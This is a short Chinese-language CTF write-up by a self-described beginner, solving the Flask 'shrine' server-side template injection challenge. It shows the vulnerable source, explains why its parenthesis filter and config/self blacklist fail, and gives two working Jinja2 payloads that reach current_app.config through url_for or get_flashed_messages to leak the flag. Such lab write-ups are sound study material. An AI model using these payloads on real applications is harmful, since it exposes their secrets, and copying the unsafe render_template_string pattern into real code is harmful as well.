本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,直接看到源码,但是右键查看源码会更好一点,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask   # 导入Flask框架,用来创建网站
import os # 导入操作系统模块,用来处理文件和环境变量

app = flask.Flask(__name__) # 创建一个Flask网站应用

app.config['FLAG'] = os.environ.pop('FLAG')#从环境变量中取出名为'FLAG'的值,把取出的值存到网站的配置中


@app.route('/') # 当有人访问网站根目录时
def index():
return open(__file__).read()# 打开当前文件并返回内容


@app.route('/shrine/<path:shrine>')# 当访问/shrine/任意内容时
def shrine(shrine):# shrine参数就是/后面的内容

def safe_jinja(s):
s = s.replace('(', '').replace(')', '') # 删除所有括号
blacklist = ['config', 'self']# 过滤敏感单词
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))#把处理后的字符串当作模板来渲染


if __name__ == '__main__':
app.run(debug=True)

1.只过滤了括号(),但还可以用其他方式:
{{request.application}}(用点号.
{{request['application']}}(用中括号[])
2.黑名单只有configself,但可以通过其他对象访问:
url_forrequestget_flashed_messages等内置对象
这道题可以有两个payload:

1
2
3
4
# 方法1:通过url_for访问配置
/shrine/{{url_for.__globals__.current_app.config}}
# 方法2:使用get_flashed_messages
/shrine/{{get_flashed_messages.__globals__.current_app.config.FLAG}}



获得flag